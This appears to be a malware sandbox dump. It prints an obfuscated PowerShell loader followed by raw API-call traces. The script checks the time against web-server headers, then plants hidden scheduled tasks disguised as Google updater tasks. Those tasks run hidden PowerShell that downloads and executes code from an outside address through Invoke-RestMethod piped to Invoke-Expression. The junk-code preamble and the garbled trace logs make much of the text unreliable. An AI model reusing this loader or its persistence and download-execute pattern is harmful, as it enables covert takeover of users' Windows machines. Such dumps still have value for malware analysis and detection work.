@(${Get-AzSubscription -Exclude *.tmp -Path .\Program Files && ($glsmd)} ${Get-MsolUser -Exclude *.tmp -ComputerName $appserver01 && ($rapn)} ${Get-ADComputer -Parallel -Identity CN=Administrator && ($llecln)}) $test03 = 6 for ($j = 0; $j -lt 2; $j++) { $final += $j } if ($completion -eq $null) { $count = 0 } ${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Set-ItemProperty -CaseSensitive -ClassName Win32_UserAccount && ($koefr)} ${Get-Date -InputFormat -LogName Security && ($bhhd)} ${Get-TransportRule -Unique -ComputerName SRV-WEB-00 && ($frcd)} ${Stop-ScheduledTask -Append -DestinationPath \\nas\archive && ($rfl)} ${Get-ADComputer -TimeoutSec 30 -TaskPath \CustomTasks\ && ($eotf)} ${Get-NetIPConfiguration -NoTypeInformation -Uri login.windows.net/common/oauth2/authorize && ($lmi)} ${Select-Object -Debug -DestinationPath .\Export && ($oaei)}) $randIndex = Get-Random -Minimum 2 -Maximum 17 $backupcount = 7 ${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${ConvertTo-Csv -Verbose -DestinationPath .\Export && ($saiho)} ${Get-PfxCertificate -OutputFormat -Identity $adUser09 && ($ptlrr)} ${Get-UnifiedGroup -NoTypeInformation -ClassName MSFT_NetIPAddress && ($hlg)} ${Get-WindowsCapability -NoTypeInformation -Namespace root\ccm\Policy && ($bmtpfs)} ${Select-Object -ErrorAction SilentlyContinue -DestinationPath .\Export && ($tga)} ${Get-ADDomainController -WhatIf -EventId 4625 && ($fbi)}) try { $void = Get-Random -Minimum 7 -Maximum 11 } catch { $void = $null } if ($completion -eq $null) { $count = 8 } if ($false) { $x = 7 } ${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Get-ItemProperty -Filter * -ComputerName YOURDC06 && ($beaf)} ${Get-Package -Append -InformationLevel Debug && ($dmfgtn)} ${Get-PhysicalDisk -Include * -Namespace root\Microsoft\Windows\Storage && ($cpkgbl)} ${Get-CMApplication -TimeoutSec 30 -Path .\inetpub\wwwroot && ($incm)}) try { $void = Get-Random -Minimum 8 -Maximum 8 } catch { $void = $null } $set_scaler_17 = 491 try { Remove-Item -Path "C:\temp\logfile_1.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 8 } ${Get-Acl -WhatIf -Name lsass && ($crlpi)} = 295 $set_scaler_96 = 343 ${Get-Command -NoTypeInformation -Depth 3 && ($mkco)} = 518 ${ForEach-Object -NoTypeInformation -Depth 2 && ($pnlfn)} = 356 while ($counter -lt 1) { $counter++ } ${Get-ADGroup -ErrorVariable errLog -ClassName MSFT_NetIPAddress && ($attmdo)} = 579 ${Write-Output -Recurse -Server dc06.corp.local && ($eeido)} = 917 $test01 = 6 ${Get-ADGroup -ErrorVariable errLog -Depth 2 && ($kntog)} = 159 while ($binpath) { Start-Sleep -Seconds 9 } ${ConvertTo-Csv -InformationAction Continue -Seconds 48 && ($agk)} = 746 for ($j = 0; $j -lt 8; $j++) { $final += $j } ${Get-Credential -WarningVariable warnLog -MaxEvents 173 && ($gfpc)} = 129 ${Write-Host -Unique -EventId 4698 && ($ckplcn)} = 678 $set_scaler_59 = 156 Script name: na contents: # Configuration Section #================================================================================ function Get-Parameters { $DomainNames = "Z29vZ2xlLG1pY3Jvc29mdCxhbWF6b24sYXBwbGUsZmFjZWJvb2ssbmV0ZmxpeCxhZG9iZSxvcmFjbGUsaWJtLGNpc2NvLGFtZCxjbG91ZGZsYXJlLHRpa3Rvayx3ZWVibHksdmltZW8saXN0b2NrcGhvdG8sbWVkaXVtLGxpdmUseWFob28sb3BlcmEsaW1kYixnbG9ibyxncmF2YXRhcixjbm4sZ3N0YXRpYyxhZnRlcm5pYyxkYWlseW1vdGlvbixqaW1kaWZyZWUsNHNoYXJlZCxpc3N1dSxzY3JpYmQ=" $decodedString = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DomainNames)) $domains = $decodedString -split "," $randomDomain = Get-Random -InputObject $domains $nsDomain = "https://www.$randomDomain.com" return $nsDomain } $unixNow = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() $expiryUnix = $unixNow + 550 Write-Host Running the environment check. Please wait... function Get-RemoteParameters { $maxAttempts = 3 $lastError = $null for ($attempt = 1; $attempt -le $maxAttempts; $attempt++) { try { $nsDomain = Get-Parameters $response = Invoke-WebRequest -Uri $nsDomain -TimeoutSec 10 -UseBasicParsing -Method Head $dateString = $response.Headers.Date if ($dateString) { $date = [DateTime]::Parse($dateString) return [DateTimeOffset]::new($date.ToUniversalTime()).ToUnixTimeSeconds() } else { throw "No date string in headers." } } catch { $lastError = $_ } } throw "$maxAttempts attempts. Last error: $lastError" } function Check-Parameters { param([long]$expiryUnix) $serverUnix = Get-RemoteParameters return $serverUnix -lt $expiryUnix } try { $isValid = Check-Parameters -expiryUnix $expiryUnix $result = if ($isValid) { "Accepted" } else { "Rejected" } Write-Host $result if (-not $isValid) { exit 1 } } catch { Write-Host "Rejected (lookup failed): $($_.Exception.Message)" exit 1 } # Task Configuration Section #================================================================================ $PowerShell32 = "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" $PowerShell64 = "$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe" $PowerShell32 = $PowerShell64 $TaskNameTag = "CL_NCL_" $TaskAuthor = $env:USERDOMAIN + "\" + $env:USERNAME $bytes = [System.Text.Encoding]::UTF8.GetBytes($TaskAuthor) $sha = [System.Security.Cryptography.SHA256]::Create() try { $hash = $sha.ComputeHash($bytes) } finally { $sha.Dispose() } $userPrefix = -join ($hash[0..7] | ForEach-Object { $_.ToString('x2') }) $TaskNamePrefix = "$TaskNameTag$userPrefix" $TaskName = "`Google`Updater`Task`System`47.0.7703.$TaskNamePrefix{47263A17-2D66-43B9-9692-56314D0C1AEC}" $TaskPath = "\`Google`System\`Google`Updater\" $TaskURI = "$TaskPath$TaskName" $startPartA = "`Invoke-`RestMethod 79.8141710/cl-ncl-start `| `Invoke-`Expression" $startPartB = "`Invoke-`RestMethod 79.8141710/cl-ncl-following `| `Invoke-`Expression" $pscommand = 'if(!(Get-Process CheckNetIsolation,CloudExperienceHostBroker -EA 0)){{{0}}}else{{exit 1}}' -f $startPartB $TaskCommand = "conhost.exe" $TaskArguments = "--headless $PowerShell64 -NoP -ExecutionPolicy `Bypass -WindowStyle `Hidden -Command ""$pscommand""" # Scheduled Task Section #================================================================================ $TaskDate = "$(Get-Date -Format "yyyy-MM-ddTHH:mm:ss.fffffff")" $TaskDescription = "This task automatically manages updates for the users and the machine, enabling enrollment, roaming and other services." $TaskSID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value $TaskXML = @" $TaskDate $TaskAuthor $TaskDescription $TaskURI PT10M false true true $TaskAuthor PT30M $TaskSID InteractiveToken LeastPrivilege IgnoreNew false true false true false true false true true true false false true true PT0S 7 PT5M 3 $TaskCommand $TaskArguments "@ $TaskXML | Out-File "$env:TEMP\schevnt.xml" -Encoding Unicode schtasks /create /tn $TaskURI /xml "$env:TEMP\schevnt.xml" /f | Out-Null Remove-Item "$env:TEMP\schevnt.xml" -Force # Check Current Running Tasks #================================================================================ function Get-EventObjectDefinition($eventid) { $Service = new-object -ComObject("Schedule.Service") $Service.Connect() $RootFolder = $Service.GetFolder("\") $TaskDefinition = $Service.NewTask(0) $regInfo = $TaskDefinition.RegistrationInfo $regInfo.Description = 'This task automatically manages updates for the users and the machine, enabling enrollment, roaming and other services.' $regInfo.Author = $env:USERNAME $settings = $TaskDefinition.Settings $settings.Enabled = $true $settings.StartWhenAvailable = $true $settings.Hidden = $true $Triggers = $TaskDefinition.Triggers $Trigger = $Triggers.Create(0) $Trigger.Id = $eventid $Trigger.Subscription = "" $Trigger.Enabled = $true $Action = $TaskDefinition.Actions.Create(0) $Action.Path = $TaskCommand $Action.Arguments = $TaskArguments $RootFolder.RegisterTaskDefinition("Google Compatibility Appraiser $TaskNamePrefix",$TaskDefinition,6,$null,$null,3) | Out-Null } function Find-CommonEvents() { $eventid = Get-Eventlog -Newest 500 -LogName Application | Group-Object -Property EventID -NoElement | Sort-Object -Property count -Descending | Select-Object -First 1 | Select-Object -ExpandProperty Name Get-EventObjectDefinition($eventid) } Find-CommonEvents Script name: na contents: { $_.ToString('x2') } Script name: na contents: $this.get_EventID() -band 0xFFFF Script name: na contents: $global:? 2d:Tc13,"powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "90ba100baf010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "90bb100baf010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "90bf100baf010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "90af100baf010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "601eb825af010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`'" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "6017b825af010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "6011b825af010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`!" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "601ab825af010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "(v%" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "+v%" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "4v%" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "Av%" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "@}v%" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "@uv%" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "40817625af010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "0Lv%" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "0_v%" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "0Rv%" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "0Pv%" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "0Zv%" "szProvider": "Microsoft Enhanced RSA and AES Cryptographic Provider" "dwProvType": "24" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "0mv%" "dwProvType": "1" "dwFlags": "4026531840"}2e:T124e,"powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "906d100baf010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "7072100baf010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e074100baf010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0ae6925af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "50b26925af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "10b66925af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0d8020baf010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a0a5080baf010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "805a6b25af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "@^k%" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "509e7025af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "@5p%" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "1p%" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b0377025af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b03a7025af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "06p%" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "@2p%" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a03b7025af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "03p%" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "60917025af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "30887025af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b114ca0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "608e7025af010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1af0b115420" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e0bd7525af010000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"}2f:T21d8,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a045100baf010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d039100baf010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "6040100baf010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "403a100baf010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10bb90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "90716a25af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10bb90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "`vj%"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10bb90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a0746a25af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "`oj%"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "10756a25af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10bb90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0ef7025af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d0766a25af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "806e6a25af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f0756a25af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "106e6a25af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "80756a25af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "@pj%"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10bf90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0736a25af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10bf90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "80756a25af010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1af0b10ba90" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "80ce110baf010000"}30:T38f4,"powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acc82df87f0000000000000000000051ed662ff87f000000000000af01000000000000000000004aea4630abd200002a0000000000000000b9040baf0100008fec662ff87f0000e0acc82df87f0000e0acc82df87f0000000000000000000000000000f87f0000ffffff7fce35000000000000000000000000000000000000d8cebc2df87f00002a0000000000000069c3752df87f0000310000000000000040020000000000004402000000000000110001100000000040dc8a1e8e00000003a3bb2cf87f000040dc8a1e8e00000000000000000000002b00000000000000000000000000000020b07b2df87f0000b43f7a2df87f0000e0cebc2d (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000001000000000000000b000000000000000b000000000000005800000000000000000000000000000000000000000000000000120100000000920000000100000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000360d00000000000020d48a1e8e000000040000000000000020027cec2001000006000000000000000300000000000000a7406a2cf87f0000000000000000000000000000000000000000000000000000010100000000000000da060baf0100000a000000000000000000000000000000000000000000000043003a005c0055007300650072007300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000498642ff87f00000000000000000000000000000000000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000a011120baf01000000000000000000000000120baf01000000f0a91e8e000000000000000000000000000000000000000000000000000000000000000000000028002a0000000000c00c120baf01000000000000000000004000000000000000c0cc8a1e8e00000000000000000000000000000000000000000000000000000000000000000000000400000000000000200d120baf01000000000000000000000000120baf01000000f0a91e8e00000040000000af0100000000000000000000320000000000000000000000000000000000000000000000ffffffffaf01000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000f0a91e8e00000040000000af0100000000000000000000320000000000000000000000000000000000000000000000ffffffffaf01000000000000000000000000000000000000c0d8050baf01000000e08a1e8e000000e47e050baf0100009099070baf01000000000000000000000000000000000000000000000000000000000000000000000000000000000000607f050baf010000747f050baf010000607f050baf010000feffffffffffffff0000000000000000c2f4040baf01000000000000000000000000000000000000000000000000000090cd8a1e8e0000003200000000000000c0cc8a1e8e000000e0cc8a1e8e00000000ca070b (UID: 00000000-00006920) "powershell.exe" 